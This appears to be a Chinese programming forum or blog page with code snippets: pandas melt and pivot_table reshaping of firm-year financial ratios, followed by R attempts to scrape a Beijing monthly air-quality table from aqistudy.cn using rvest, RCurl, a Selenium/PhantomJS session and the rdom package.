0  0.434583  0.352021  0.155295  0.307686  0.226555  0.718034    a1
1  0.440119  0.051882  0.667143  0.995478  0.114729  0.996174    a2
2  0.292902  0.516601  0.157647  0.066176  0.506407  0.968796    a3

复制代码df=df.melt(id_vars=['stkcd','x'],value_vars=['lev2015','roa2015', 'roa2016', 'lev2016','lev2017'],var_name='name',value_name='score')

df
Out[2]: 
   stkcd         x     name     score
0     a1  0.434583  lev2015  0.352021
1     a2  0.440119  lev2015  0.051882
2     a3  0.292902  lev2015  0.516601
3     a1  0.434583  roa2015  0.155295
4     a2  0.440119  roa2015  0.667143
5     a3  0.292902  roa2015  0.157647
6     a1  0.434583  roa2016  0.307686
7     a2  0.440119  roa2016  0.995478
8     a3  0.292902  roa2016  0.066176
9     a1  0.434583  lev2016  0.226555
10    a2  0.440119  lev2016  0.114729
11    a3  0.292902  lev2016  0.506407
12    a1  0.434583  lev2017  0.718034
13    a2  0.440119  lev2017  0.996174
14    a3  0.292902  lev2017  0.968796

复制代码df['year']=df['name'].str.slice(3,7)
df['name']=df['name'].str.slice(0,3)

df
Out[3]: 
   stkcd         x name     score  year
0     a1  0.434583  lev  0.352021  2015
1     a2  0.440119  lev  0.051882  2015
2     a3  0.292902  lev  0.516601  2015
3     a1  0.434583  roa  0.155295  2015
4     a2  0.440119  roa  0.667143  2015
5     a3  0.292902  roa  0.157647  2015
6     a1  0.434583  roa  0.307686  2016
7     a2  0.440119  roa  0.995478  2016
8     a3  0.292902  roa  0.066176  2016
9     a1  0.434583  lev  0.226555  2016
10    a2  0.440119  lev  0.114729  2016
11    a3  0.292902  lev  0.506407  2016
12    a1  0.434583  lev  0.718034  2017
13    a2  0.440119  lev  0.996174  2017
14    a3  0.292902  lev  0.968796  2017

复制代码df=df.pivot_table(index=['stkcd','x','year'], columns='name', values='score')

df
Out[4]: 
name                      lev       roa
stkcd x        year                    
a1    0.434583 2015  0.352021  0.155295
               2016  0.226555  0.307686
               2017  0.718034       NaN
a2    0.440119 2015  0.051882  0.667143
               2016  0.114729  0.995478
               2017  0.996174       NaN
a3    0.292902 2015  0.516601  0.157647
               2016  0.506407  0.066176
               2017  0.968796       NaN

复制代码df=df.reset_index()

df
Out[5]: 
name stkcd         x  year       lev       roa
0       a1  0.434583  2015  0.352021  0.155295
1       a1  0.434583  2016  0.226555  0.307686
2       a1  0.434583  2017  0.718034       NaN
3       a2  0.440119  2015  0.051882  0.667143
4       a2  0.440119  2016  0.114729  0.995478
5       a2  0.440119  2017  0.996174       NaN
6       a3  0.292902  2015  0.516601  0.157647
7       a3  0.292902  2016  0.506407  0.066176
8       a3  0.292902  2017  0.968796       NaN

复制代码library("rvest")
URL<-"https://www.aqistudy.cn/historydata/monthdata.php?city=北京" %>% xml2::url_escape(reserved ="][!$&'()*+,;=:/?@#")

复制代码header<-c("User-Agent"="Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36")
mytable <- getURL(URL,httpheader=header,.encoding="UTF-8") %>% htmlParse(encoding ="UTF-8") %>% readHTMLTable(header=TRUE)
$`NULL`
NULL

复制代码mytable <- URL %>%  read_html(encoding ="UTF-8") %>% html_table(header=TRUE) %>% `[[`(1)
[1] 月份     AQI      范围     质量等级 PM2.5    PM10     SO2      CO       NO2      O3

复制代码#java -jar D:/selenium-server-standalone-3.3.1.jar
#system("java -jar D:/selenium-server-standalone-3.3.1.jar",intern=FALSE)

start_session(root="http://localhost:4444/wd/hub/",browser ="phantomjs")  
post.url(URL)
mytable<-page_source() %>% stri_conv(from="utf-8") %>% read_html() %>% html_table()
quit_session()

复制代码stopifnot(Sys.which("phantomjs") != "")
#以上代码检测系统路径中是否含有phantomjs浏览器
#如果没有下载过phantomjs浏览器或者下载过但是没有加入系统路径，
#记得从新操作一下，否则一下函数无法运行！devtools::install_github("cpsievert/rdom")
#安装rdom包（如果总是提示timeout的话，记得加载一下curl包）

library("rdom")
tbl <- rdom(URL) %>% readHTMLTable(header=TRUE)  %>% `[[`(1)

复制代码names(tbl) <- names(tbl) %>% stri_conv(from="utf-8")
DT::datatable(tbl)

复制代码https://github.com/cpsievert/rdom

复制代码http://phantomjs.org/